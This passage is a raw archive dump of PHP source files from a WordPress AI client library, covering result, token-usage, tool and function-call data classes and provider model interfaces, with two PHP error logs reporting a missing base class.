(!$message->getRole()->isModel()) { throw new InvalidArgumentException('Message must be a model message.'); } $this->message = $message; $this->finishReason = $finishReason; } /** * Gets the generated message. * * @since 0.1.0 * * @return Message The message. */ public function getMessage(): Message { return $this->message; } /** * Gets the finish reason. * * @since 0.1.0 * * @return FinishReasonEnum The finish reason. */ public function getFinishReason(): FinishReasonEnum { return $this->finishReason; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_MESSAGE => Message::getJsonSchema(), self::KEY_FINISH_REASON => ['type' => 'string', 'enum' => FinishReasonEnum::getValues(), 'description' => 'The reason generation stopped.']], 'required' => [self::KEY_MESSAGE, self::KEY_FINISH_REASON]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return CandidateArrayShape */ public function toArray(): array { return [self::KEY_MESSAGE => $this->message->toArray(), self::KEY_FINISH_REASON => $this->finishReason->value]; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_MESSAGE, self::KEY_FINISH_REASON]); $messageData = $array[self::KEY_MESSAGE]; return new self(Message::fromArray($messageData), FinishReasonEnum::from($array[self::KEY_FINISH_REASON])); } /** * Performs a deep clone of the candidate. * * This method ensures that the message object is cloned to prevent * modifications to the cloned candidate from affecting the original. * * @since 0.4.2 */ public function __clone() { $this->message = clone $this->message; } } PK!^vvsrc/Results/DTO/error_lognu[[04-Sep-2026 13:24:25 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\AbstractDataTransferObject" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Results/DTO/Candidate.php:24 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Results/DTO/Candidate.php on line 24 [04-Sep-2026 13:24:25 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\AbstractDataTransferObject" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Results/DTO/GenerativeAiResult.php:38 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Results/DTO/GenerativeAiResult.php on line 38 [04-Sep-2026 13:24:25 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\AbstractDataTransferObject" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Results/DTO/TokenUsage.php:27 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Results/DTO/TokenUsage.php on line 27 PK!]55&src/Results/DTO/GenerativeAiResult.phpnu[, * tokenUsage: TokenUsageArrayShape, * providerMetadata: ProviderMetadataArrayShape, * modelMetadata: ModelMetadataArrayShape, * additionalData?: array * } * * @extends AbstractDataTransferObject */ class GenerativeAiResult extends AbstractDataTransferObject implements ResultInterface { public const KEY_ID = 'id'; public const KEY_CANDIDATES = 'candidates'; public const KEY_TOKEN_USAGE = 'tokenUsage'; public const KEY_PROVIDER_METADATA = 'providerMetadata'; public const KEY_MODEL_METADATA = 'modelMetadata'; public const KEY_ADDITIONAL_DATA = 'additionalData'; /** * @var string Unique identifier for this result. */ private string $id; /** * @var Candidate[] The generated candidates. */ private array $candidates; /** * @var TokenUsage Token usage statistics. */ private \WordPress\AiClient\Results\DTO\TokenUsage $tokenUsage; /** * @var ProviderMetadata Provider metadata. */ private ProviderMetadata $providerMetadata; /** * @var ModelMetadata Model metadata. */ private ModelMetadata $modelMetadata; /** * @var array Additional data. */ private array $additionalData; /** * Constructor. * * @since 0.1.0 * * @param string $id Unique identifier for this result. * @param Candidate[] $candidates The generated candidates. * @param TokenUsage $tokenUsage Token usage statistics. * @param ProviderMetadata $providerMetadata Provider metadata. * @param ModelMetadata $modelMetadata Model metadata. * @param array $additionalData Additional data. * @throws InvalidArgumentException If no candidates provided. */ public function __construct(string $id, array $candidates, \WordPress\AiClient\Results\DTO\TokenUsage $tokenUsage, ProviderMetadata $providerMetadata, ModelMetadata $modelMetadata, array $additionalData = []) { if (empty($candidates)) { throw new InvalidArgumentException('At least one candidate must be provided'); } $this->id = $id; $this->candidates = $candidates; $this->tokenUsage = $tokenUsage; $this->providerMetadata = $providerMetadata; $this->modelMetadata = $modelMetadata; $this->additionalData = $additionalData; } /** * {@inheritDoc} * * @since 0.1.0 */ public function getId(): string { return $this->id; } /** * Gets the generated candidates. * * @since 0.1.0 * * @return Candidate[] The candidates. */ public function getCandidates(): array { return $this->candidates; } /** * {@inheritDoc} * * @since 0.1.0 */ public function getTokenUsage(): \WordPress\AiClient\Results\DTO\TokenUsage { return $this->tokenUsage; } /** * Gets the provider metadata. * * @since 0.1.0 * * @return ProviderMetadata The provider metadata. */ public function getProviderMetadata(): ProviderMetadata { return $this->providerMetadata; } /** * Gets the model metadata. * * @since 0.1.0 * * @return ModelMetadata The model metadata. */ public function getModelMetadata(): ModelMetadata { return $this->modelMetadata; } /** * {@inheritDoc} * * @since 0.1.0 */ public function getAdditionalData(): array { return $this->additionalData; } /** * Gets the total number of candidates. * * @since 0.1.0 * * @return int The total number of candidates. */ public function getCandidateCount(): int { return count($this->candidates); } /** * Checks if the result has multiple candidates. * * @since 0.1.0 * * @return bool True if there are multiple candidates, false otherwise. */ public function hasMultipleCandidates(): bool { return $this->getCandidateCount() > 1; } /** * Converts the first candidate to text. * * Only text from the content channel is considered. Text within model thought or reasoning is ignored. * * @since 0.1.0 * * @return string The text content. * @throws RuntimeException If no text content. */ public function toText(): string { $message = $this->candidates[0]->getMessage(); foreach ($message->getParts() as $part) { $channel = $part->getChannel(); $text = $part->getText(); if ($channel->isContent() && $text !== null) { return $text; } } throw new RuntimeException('No text content found in first candidate'); } /** * Converts the first candidate to a file. * * Only files from the content channel are considered. Files within model thought or reasoning are ignored. * * @since 0.1.0 * * @return File The file. * @throws RuntimeException If no file content. */ public function toFile(): File { $message = $this->candidates[0]->getMessage(); foreach ($message->getParts() as $part) { $channel = $part->getChannel(); $file = $part->getFile(); if ($channel->isContent() && $file !== null) { return $file; } } throw new RuntimeException('No file content found in first candidate'); } /** * Converts the first candidate to an image file. * * @since 0.1.0 * * @return File The image file. * @throws RuntimeException If no image content. */ public function toImageFile(): File { $file = $this->toFile(); if (!$file->isImage()) { throw new RuntimeException(sprintf('File is not an image. MIME type: %s', $file->getMimeType())); } return $file; } /** * Converts the first candidate to an audio file. * * @since 0.1.0 * * @return File The audio file. * @throws RuntimeException If no audio content. */ public function toAudioFile(): File { $file = $this->toFile(); if (!$file->isAudio()) { throw new RuntimeException(sprintf('File is not an audio file. MIME type: %s', $file->getMimeType())); } return $file; } /** * Converts the first candidate to a video file. * * @since 0.1.0 * * @return File The video file. * @throws RuntimeException If no video content. */ public function toVideoFile(): File { $file = $this->toFile(); if (!$file->isVideo()) { throw new RuntimeException(sprintf('File is not a video file. MIME type: %s', $file->getMimeType())); } return $file; } /** * Converts the first candidate to a message. * * @since 0.1.0 * * @return Message The message. */ public function toMessage(): Message { return $this->candidates[0]->getMessage(); } /** * Converts all candidates to text. * * @since 0.1.0 * * @return list Array of text content. */ public function toTexts(): array { $texts = []; foreach ($this->candidates as $candidate) { $message = $candidate->getMessage(); foreach ($message->getParts() as $part) { $channel = $part->getChannel(); $text = $part->getText(); if ($channel->isContent() && $text !== null) { $texts[] = $text; break; } } } return $texts; } /** * Converts all candidates to files. * * @since 0.1.0 * * @return list Array of files. */ public function toFiles(): array { $files = []; foreach ($this->candidates as $candidate) { $message = $candidate->getMessage(); foreach ($message->getParts() as $part) { $channel = $part->getChannel(); $file = $part->getFile(); if ($channel->isContent() && $file !== null) { $files[] = $file; break; } } } return $files; } /** * Converts all candidates to image files. * * @since 0.1.0 * * @return list Array of image files. */ public function toImageFiles(): array { return array_values(array_filter($this->toFiles(), fn(File $file) => $file->isImage())); } /** * Converts all candidates to audio files. * * @since 0.1.0 * * @return list Array of audio files. */ public function toAudioFiles(): array { return array_values(array_filter($this->toFiles(), fn(File $file) => $file->isAudio())); } /** * Converts all candidates to video files. * * @since 0.1.0 * * @return list Array of video files. */ public function toVideoFiles(): array { return array_values(array_filter($this->toFiles(), fn(File $file) => $file->isVideo())); } /** * Converts all candidates to messages. * * @since 0.1.0 * * @return list Array of messages. */ public function toMessages(): array { return array_values(array_map(fn(\WordPress\AiClient\Results\DTO\Candidate $candidate) => $candidate->getMessage(), $this->candidates)); } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'Unique identifier for this result.'], self::KEY_CANDIDATES => ['type' => 'array', 'items' => \WordPress\AiClient\Results\DTO\Candidate::getJsonSchema(), 'minItems' => 1, 'description' => 'The generated candidates.'], self::KEY_TOKEN_USAGE => \WordPress\AiClient\Results\DTO\TokenUsage::getJsonSchema(), self::KEY_PROVIDER_METADATA => ProviderMetadata::getJsonSchema(), self::KEY_MODEL_METADATA => ModelMetadata::getJsonSchema(), self::KEY_ADDITIONAL_DATA => ['type' => 'object', 'additionalProperties' => \true, 'description' => 'Additional data included in the API response.']], 'required' => [self::KEY_ID, self::KEY_CANDIDATES, self::KEY_TOKEN_USAGE, self::KEY_PROVIDER_METADATA, self::KEY_MODEL_METADATA]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return GenerativeAiResultArrayShape */ public function toArray(): array { return [self::KEY_ID => $this->id, self::KEY_CANDIDATES => array_map(fn(\WordPress\AiClient\Results\DTO\Candidate $candidate) => $candidate->toArray(), $this->candidates), self::KEY_TOKEN_USAGE => $this->tokenUsage->toArray(), self::KEY_PROVIDER_METADATA => $this->providerMetadata->toArray(), self::KEY_MODEL_METADATA => $this->modelMetadata->toArray(), self::KEY_ADDITIONAL_DATA => $this->additionalData]; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_ID, self::KEY_CANDIDATES, self::KEY_TOKEN_USAGE, self::KEY_PROVIDER_METADATA, self::KEY_MODEL_METADATA]); $candidates = array_map(fn(array $candidateData) => \WordPress\AiClient\Results\DTO\Candidate::fromArray($candidateData), $array[self::KEY_CANDIDATES]); return new self($array[self::KEY_ID], $candidates, \WordPress\AiClient\Results\DTO\TokenUsage::fromArray($array[self::KEY_TOKEN_USAGE]), ProviderMetadata::fromArray($array[self::KEY_PROVIDER_METADATA]), ModelMetadata::fromArray($array[self::KEY_MODEL_METADATA]), $array[self::KEY_ADDITIONAL_DATA] ?? []); } /** * Performs a deep clone of the result. * * This method ensures that all nested objects (candidates, token usage, metadata) * are cloned to prevent modifications to the cloned result from affecting the original. * * @since 0.4.2 */ public function __clone() { $clonedCandidates = []; foreach ($this->candidates as $candidate) { $clonedCandidates[] = clone $candidate; } $this->candidates = $clonedCandidates; $this->tokenUsage = clone $this->tokenUsage; $this->providerMetadata = clone $this->providerMetadata; $this->modelMetadata = clone $this->modelMetadata; } } PK! jLsrc/Results/DTO/TokenUsage.phpnu[ */ class TokenUsage extends AbstractDataTransferObject { public const KEY_PROMPT_TOKENS = 'promptTokens'; public const KEY_COMPLETION_TOKENS = 'completionTokens'; public const KEY_TOTAL_TOKENS = 'totalTokens'; public const KEY_THOUGHT_TOKENS = 'thoughtTokens'; /** * @var int Number of tokens in the prompt. */ private int $promptTokens; /** * @var int Number of tokens in the completion, including any thought tokens. */ private int $completionTokens; /** * @var int Total number of tokens used. */ private int $totalTokens; /** * @var int|null Number of tokens used for thinking, as a subset of completion tokens. */ private ?int $thoughtTokens; /** * Constructor. * * @since 0.1.0 * * @param int $promptTokens Number of tokens in the prompt. * @param int $completionTokens Number of tokens in the completion, including any thought tokens. * @param int $totalTokens Total number of tokens used. * @param int|null $thoughtTokens Number of tokens used for thinking, as a subset of completion tokens. */ public function __construct(int $promptTokens, int $completionTokens, int $totalTokens, ?int $thoughtTokens = null) { $this->promptTokens = $promptTokens; $this->completionTokens = $completionTokens; $this->totalTokens = $totalTokens; $this->thoughtTokens = $thoughtTokens; } /** * Gets the number of prompt tokens. * * @since 0.1.0 * * @return int The prompt token count. */ public function getPromptTokens(): int { return $this->promptTokens; } /** * Gets the number of completion tokens, including any thought tokens. * * @since 0.1.0 * * @return int The completion token count. */ public function getCompletionTokens(): int { return $this->completionTokens; } /** * Gets the total number of tokens. * * @since 0.1.0 * * @return int The total token count. */ public function getTotalTokens(): int { return $this->totalTokens; } /** * Gets the number of thought tokens, which is a subset of the completion token count. * * @since 1.3.0 * * @return int|null The thought token count or null if not available. */ public function getThoughtTokens(): ?int { return $this->thoughtTokens; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_PROMPT_TOKENS => ['type' => 'integer', 'description' => 'Number of tokens in the prompt.'], self::KEY_COMPLETION_TOKENS => ['type' => 'integer', 'description' => 'Number of tokens in the completion, including any thought tokens.'], self::KEY_TOTAL_TOKENS => ['type' => 'integer', 'description' => 'Total number of tokens used.'], self::KEY_THOUGHT_TOKENS => ['type' => 'integer', 'description' => 'Number of tokens used for thinking, as a subset of completion tokens.']], 'required' => [self::KEY_PROMPT_TOKENS, self::KEY_COMPLETION_TOKENS, self::KEY_TOTAL_TOKENS]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return TokenUsageArrayShape */ public function toArray(): array { $data = [self::KEY_PROMPT_TOKENS => $this->promptTokens, self::KEY_COMPLETION_TOKENS => $this->completionTokens, self::KEY_TOTAL_TOKENS => $this->totalTokens]; if ($this->thoughtTokens !== null) { $data[self::KEY_THOUGHT_TOKENS] = $this->thoughtTokens; } return $data; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_PROMPT_TOKENS, self::KEY_COMPLETION_TOKENS, self::KEY_TOTAL_TOKENS]); return new self($array[self::KEY_PROMPT_TOKENS], $array[self::KEY_COMPLETION_TOKENS], $array[self::KEY_TOTAL_TOKENS], $array[self::KEY_THOUGHT_TOKENS] ?? null); } } PK!)OQ&src/Results/Enums/FinishReasonEnum.phpnu[ */ class WebSearch extends AbstractDataTransferObject { public const KEY_ALLOWED_DOMAINS = 'allowedDomains'; public const KEY_DISALLOWED_DOMAINS = 'disallowedDomains'; /** * @var string[] List of domains that are allowed for web search. */ private array $allowedDomains; /** * @var string[] List of domains that are disallowed for web search. */ private array $disallowedDomains; /** * Constructor. * * @since 0.1.0 * * @param string[] $allowedDomains List of domains that are allowed for web search. * @param string[] $disallowedDomains List of domains that are disallowed for web search. */ public function __construct(array $allowedDomains = [], array $disallowedDomains = []) { $this->allowedDomains = $allowedDomains; $this->disallowedDomains = $disallowedDomains; } /** * Gets the allowed domains. * * @since 0.1.0 * * @return string[] The allowed domains. */ public function getAllowedDomains(): array { return $this->allowedDomains; } /** * Gets the disallowed domains. * * @since 0.1.0 * * @return string[] The disallowed domains. */ public function getDisallowedDomains(): array { return $this->disallowedDomains; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_ALLOWED_DOMAINS => ['type' => 'array', 'items' => ['type' => 'string'], 'description' => 'List of domains that are allowed for web search.'], self::KEY_DISALLOWED_DOMAINS => ['type' => 'array', 'items' => ['type' => 'string'], 'description' => 'List of domains that are disallowed for web search.']], 'required' => []]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return WebSearchArrayShape */ public function toArray(): array { return [self::KEY_ALLOWED_DOMAINS => $this->allowedDomains, self::KEY_DISALLOWED_DOMAINS => $this->disallowedDomains]; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { return new self($array[self::KEY_ALLOWED_DOMAINS] ?? [], $array[self::KEY_DISALLOWED_DOMAINS] ?? []); } } PK!K0q"src/Tools/DTO/FunctionResponse.phpnu[ */ class FunctionResponse extends AbstractDataTransferObject { public const KEY_ID = 'id'; public const KEY_NAME = 'name'; public const KEY_RESPONSE = 'response'; /** * @var string|null The ID of the function call this is responding to. */ private ?string $id; /** * @var string|null The name of the function that was called. */ private ?string $name; /** * @var mixed The response data from the function. */ private $response; /** * Constructor. * * @since 0.1.0 * * @param string|null $id The ID of the function call this is responding to. * @param string|null $name The name of the function that was called. * @param mixed $response The response data from the function. * @throws InvalidArgumentException If neither id nor name is provided. */ public function __construct(?string $id, ?string $name, $response) { if ($id === null && $name === null) { throw new InvalidArgumentException('At least one of id or name must be provided.'); } $this->id = $id; $this->name = $name; $this->response = $response; } /** * Gets the function call ID. * * @since 0.1.0 * * @return string|null The function call ID. */ public function getId(): ?string { return $this->id; } /** * Gets the function name. * * @since 0.1.0 * * @return string|null The function name. */ public function getName(): ?string { return $this->name; } /** * Gets the function response. * * @since 0.1.0 * * @return mixed The response data. */ public function getResponse() { return $this->response; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'The ID of the function call this is responding to.'], self::KEY_NAME => ['type' => 'string', 'description' => 'The name of the function that was called.'], self::KEY_RESPONSE => ['type' => ['string', 'number', 'boolean', 'object', 'array', 'null'], 'description' => 'The response data from the function.']], 'anyOf' => [['required' => [self::KEY_RESPONSE, self::KEY_ID]], ['required' => [self::KEY_RESPONSE, self::KEY_NAME]]]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return FunctionResponseArrayShape */ public function toArray(): array { $data = []; if ($this->id !== null) { $data[self::KEY_ID] = $this->id; } if ($this->name !== null) { $data[self::KEY_NAME] = $this->name; } $data[self::KEY_RESPONSE] = $this->response; return $data; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_RESPONSE]); return new self($array[self::KEY_ID] ?? null, $array[self::KEY_NAME] ?? null, $array[self::KEY_RESPONSE]); } } PK!$yNG%src/Tools/DTO/FunctionDeclaration.phpnu[ * } * * @extends AbstractDataTransferObject */ class FunctionDeclaration extends AbstractDataTransferObject { public const KEY_NAME = 'name'; public const KEY_DESCRIPTION = 'description'; public const KEY_PARAMETERS = 'parameters'; /** * @var string The name of the function. */ private string $name; /** * @var string A description of what the function does. */ private string $description; /** * @var array|null The JSON schema for the function parameters. */ private ?array $parameters; /** * Constructor. * * @since 0.1.0 * * @param string $name The name of the function. * @param string $description A description of what the function does. * @param array|null $parameters The JSON schema for the function parameters. */ public function __construct(string $name, string $description, ?array $parameters = null) { $this->name = $name; $this->description = $description; $this->parameters = $parameters; } /** * Gets the function name. * * @since 0.1.0 * * @return string The function name. */ public function getName(): string { return $this->name; } /** * Gets the function description. * * @since 0.1.0 * * @return string The function description. */ public function getDescription(): string { return $this->description; } /** * Gets the function parameters schema. * * @since 0.1.0 * * @return array|null The parameters schema. */ public function getParameters(): ?array { return $this->parameters; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_NAME => ['type' => 'string', 'description' => 'The name of the function.'], self::KEY_DESCRIPTION => ['type' => 'string', 'description' => 'A description of what the function does.'], self::KEY_PARAMETERS => ['type' => 'object', 'description' => 'The JSON schema for the function parameters.', 'additionalProperties' => \true]], 'required' => [self::KEY_NAME, self::KEY_DESCRIPTION]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return FunctionDeclarationArrayShape */ public function toArray(): array { $data = [self::KEY_NAME => $this->name, self::KEY_DESCRIPTION => $this->description]; if ($this->parameters !== null) { $data[self::KEY_PARAMETERS] = $this->parameters; } return $data; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_NAME, self::KEY_DESCRIPTION]); return new self($array[self::KEY_NAME], $array[self::KEY_DESCRIPTION], $array[self::KEY_PARAMETERS] ?? null); } } PK!Ce-[[src/Tools/DTO/FunctionCall.phpnu[ */ class FunctionCall extends AbstractDataTransferObject { public const KEY_ID = 'id'; public const KEY_NAME = 'name'; public const KEY_ARGS = 'args'; /** * @var string|null Unique identifier for this function call. */ private ?string $id; /** * @var string|null The name of the function to call. */ private ?string $name; /** * @var mixed The arguments to pass to the function. */ private $args; /** * Constructor. * * @since 0.1.0 * * @param string|null $id Unique identifier for this function call. * @param string|null $name The name of the function to call. * @param mixed $args The arguments to pass to the function. * @throws InvalidArgumentException If neither id nor name is provided. */ public function __construct(?string $id = null, ?string $name = null, $args = null) { if ($id === null && $name === null) { throw new InvalidArgumentException('At least one of id or name must be provided.'); } $this->id = $id; $this->name = $name; $this->args = $args; } /** * Gets the function call ID. * * @since 0.1.0 * * @return string|null The function call ID. */ public function getId(): ?string { return $this->id; } /** * Gets the function name. * * @since 0.1.0 * * @return string|null The function name. */ public function getName(): ?string { return $this->name; } /** * Gets the function arguments. * * @since 0.1.0 * * @return mixed The function arguments. */ public function getArgs() { return $this->args; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'Unique identifier for this function call.'], self::KEY_NAME => ['type' => 'string', 'description' => 'The name of the function to call.'], self::KEY_ARGS => ['type' => ['string', 'number', 'boolean', 'object', 'array', 'null'], 'description' => 'The arguments to pass to the function.']], 'anyOf' => [['required' => [self::KEY_ID]], ['required' => [self::KEY_NAME]]]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return FunctionCallArrayShape */ public function toArray(): array { $data = []; if ($this->id !== null) { $data[self::KEY_ID] = $this->id; } if ($this->name !== null) { $data[self::KEY_NAME] = $this->name; } if ($this->args !== null) { $data[self::KEY_ARGS] = $this->args; } return $data; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { return new self($array[self::KEY_ID] ?? null, $array[self::KEY_NAME] ?? null, $array[self::KEY_ARGS] ?? null); } } PK!Mxsrc/Tools/DTO/error_lognu[[04-Sep-2026 13:24:31 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\AbstractDataTransferObject" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Tools/DTO/FunctionCall.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Tools/DTO/FunctionCall.php on line 20 [04-Sep-2026 13:24:32 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\AbstractDataTransferObject" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Tools/DTO/FunctionDeclaration.php:23 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Tools/DTO/FunctionDeclaration.php on line 23 [04-Sep-2026 13:24:32 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\AbstractDataTransferObject" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Tools/DTO/FunctionResponse.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Tools/DTO/FunctionResponse.php on line 20 [04-Sep-2026 13:24:32 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\AbstractDataTransferObject" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Tools/DTO/WebSearch.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Tools/DTO/WebSearch.php on line 19 PK!Xi..9src/Providers/Contracts/ProviderAvailabilityInterface.phpnu[src/Providers/Contracts/ProviderOperationsHandlerInterface.phpnu[ Array of model metadata. */ public function listModelMetadata(): array; /** * Checks if metadata exists for a specific model. * * @since 0.1.0 * * @param string $modelId Model identifier. * @return bool True if metadata exists, false otherwise. */ public function hasModelMetadata(string $modelId): bool; /** * Gets metadata for a specific model. * * @since 0.1.0 * * @param string $modelId Model identifier. * @return ModelMetadata Model metadata. * @throws InvalidArgumentException If model metadata not found. */ public function getModelMetadata(string $modelId): ModelMetadata; } PK!:%%[src/Providers/Models/SpeechGeneration/Contracts/SpeechGenerationOperationModelInterface.phpnu[ $prompt Array of messages containing the speech generation prompt. * @return GenerativeAiOperation The initiated speech generation operation. */ public function generateSpeechOperation(array $prompt): GenerativeAiOperation; } PK!*Ue5Rsrc/Providers/Models/SpeechGeneration/Contracts/SpeechGenerationModelInterface.phpnu[ $prompt Array of messages containing the speech generation prompt. * @return GenerativeAiResult Result containing generated speech audio. */ public function generateSpeechResult(array $prompt): GenerativeAiResult; } PK!{91src/Providers/Models/Contracts/ModelInterface.phpnu[ $prompt Array of messages containing the text to convert to speech. * @return GenerativeAiOperation The initiated text-to-speech conversion operation. */ public function convertTextToSpeechOperation(array $prompt): GenerativeAiOperation; } PK!^src/Providers/Models/TextToSpeechConversion/Contracts/TextToSpeechConversionModelInterface.phpnu[ $prompt Array of messages containing the text to convert to speech. * @return GenerativeAiResult Result containing generated speech audio. */ public function convertTextToSpeechResult(array $prompt): GenerativeAiResult; } PK!Wsrc/Providers/Models/TextGeneration/Contracts/TextGenerationOperationModelInterface.phpnu[ $prompt Array of messages containing the text generation prompt. * @return GenerativeAiOperation The initiated text generation operation. */ public function generateTextOperation(array $prompt): GenerativeAiOperation; } PK!`Nsrc/Providers/Models/TextGeneration/Contracts/TextGenerationModelInterface.phpnu[ $prompt Array of messages containing the text generation prompt. * @return GenerativeAiResult Result containing generated text. */ public function generateTextResult(array $prompt): GenerativeAiResult; } PK!oqYsrc/Providers/Models/VideoGeneration/Contracts/VideoGenerationOperationModelInterface.phpnu[ $prompt Array of messages containing the video generation prompt. * @return GenerativeAiOperation The initiated video generation operation. */ public function generateVideoOperation(array $prompt): GenerativeAiOperation; } PK!4oXPsrc/Providers/Models/VideoGeneration/Contracts/VideoGenerationModelInterface.phpnu[ $prompt Array of messages containing the video generation prompt. * @return GenerativeAiResult Result containing generated videos. */ public function generateVideoResult(array $prompt): GenerativeAiResult; } PK!4I=I=.src/Providers/Models/DTO/ModelRequirements.phpnu[, * requiredOptions: list * } * * @extends AbstractDataTransferObject */ class ModelRequirements extends AbstractDataTransferObject { public const KEY_REQUIRED_CAPABILITIES = 'requiredCapabilities'; public const KEY_REQUIRED_OPTIONS = 'requiredOptions'; /** * @var list The capabilities that the model must support. */ protected array $requiredCapabilities; /** * @var list The options that the model must support with specific values. */ protected array $requiredOptions; /** * Constructor. * * @since 0.1.0 * * @param list $requiredCapabilities The capabilities that the model must support. * @param list $requiredOptions The options that the model must support with specific values. * * @throws InvalidArgumentException If arrays are not lists. */ public function __construct(array $requiredCapabilities, array $requiredOptions) { if (!array_is_list($requiredCapabilities)) { throw new InvalidArgumentException('Required capabilities must be a list array.'); } if (!array_is_list($requiredOptions)) { throw new InvalidArgumentException('Required options must be a list array.'); } $this->requiredCapabilities = $requiredCapabilities; $this->requiredOptions = $requiredOptions; } /** * Gets the capabilities that the model must support. * * @since 0.1.0 * * @return list The required capabilities. */ public function getRequiredCapabilities(): array { return $this->requiredCapabilities; } /** * Gets the options that the model must support with specific values. * * @since 0.1.0 * * @return list The required options. */ public function getRequiredOptions(): array { return $this->requiredOptions; } /** * Checks whether the given model metadata meets these requirements. * * @since 0.2.0 * * @param ModelMetadata $metadata The model metadata to check against. * @return bool True if the model meets all requirements, false otherwise. */ public function areMetBy(\WordPress\AiClient\Providers\Models\DTO\ModelMetadata $metadata): bool { // Create lookup maps for better performance (instead of nested foreach loops) $capabilitiesMap = []; foreach ($metadata->getSupportedCapabilities() as $capability) { $capabilitiesMap[$capability->value] = $capability; } $optionsMap = []; foreach ($metadata->getSupportedOptions() as $option) { $optionsMap[$option->getName()->value] = $option; } // Check if all required capabilities are supported using map lookup foreach ($this->requiredCapabilities as $requiredCapability) { if (!isset($capabilitiesMap[$requiredCapability->value])) { return \false; } } // Check if all required options are supported with the specified values foreach ($this->requiredOptions as $requiredOption) { // Use map lookup instead of linear search if (!isset($optionsMap[$requiredOption->getName()->value])) { return \false; } $supportedOption = $optionsMap[$requiredOption->getName()->value]; // Check if the required value is supported by this option if (!$supportedOption->isSupportedValue($requiredOption->getValue())) { return \false; } } return \true; } /** * Creates ModelRequirements from prompt data and model configuration. * * @since 0.2.0 * * @param CapabilityEnum $capability The capability the model must support. * @param list $messages The messages in the conversation. * @param ModelConfig $modelConfig The model configuration. * @return self The created requirements. */ public static function fromPromptData(CapabilityEnum $capability, array $messages, \WordPress\AiClient\Providers\Models\DTO\ModelConfig $modelConfig): self { // Start with base capability $capabilities = [$capability]; $inputModalities = []; // Check if we have chat history (multiple messages) if (count($messages) > 1) { $capabilities[] = CapabilityEnum::chatHistory(); } // Analyze all messages to determine required input modalities $hasFunctionMessageParts = \false; foreach ($messages as $message) { foreach ($message->getParts() as $part) { // Check for text input if ($part->getType()->isText()) { $inputModalities[] = ModalityEnum::text(); } // Check for file inputs if ($part->getType()->isFile()) { $file = $part->getFile(); if ($file !== null) { if ($file->isImage()) { $inputModalities[] = ModalityEnum::image(); } elseif ($file->isAudio()) { $inputModalities[] = ModalityEnum::audio(); } elseif ($file->isVideo()) { $inputModalities[] = ModalityEnum::video(); } elseif ($file->isDocument() || $file->isText()) { $inputModalities[] = ModalityEnum::document(); } } } // Check for function calls/responses (these might require special capabilities) if ($part->getType()->isFunctionCall() || $part->getType()->isFunctionResponse()) { $hasFunctionMessageParts = \true; } } } // Convert ModelConfig to RequiredOptions $requiredOptions = self::toRequiredOptions($modelConfig); // Add additional options based on message analysis if ($hasFunctionMessageParts) { $requiredOptions = self::includeInRequiredOptions($requiredOptions, new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::functionDeclarations(), \true)); } // Add input modalities if we 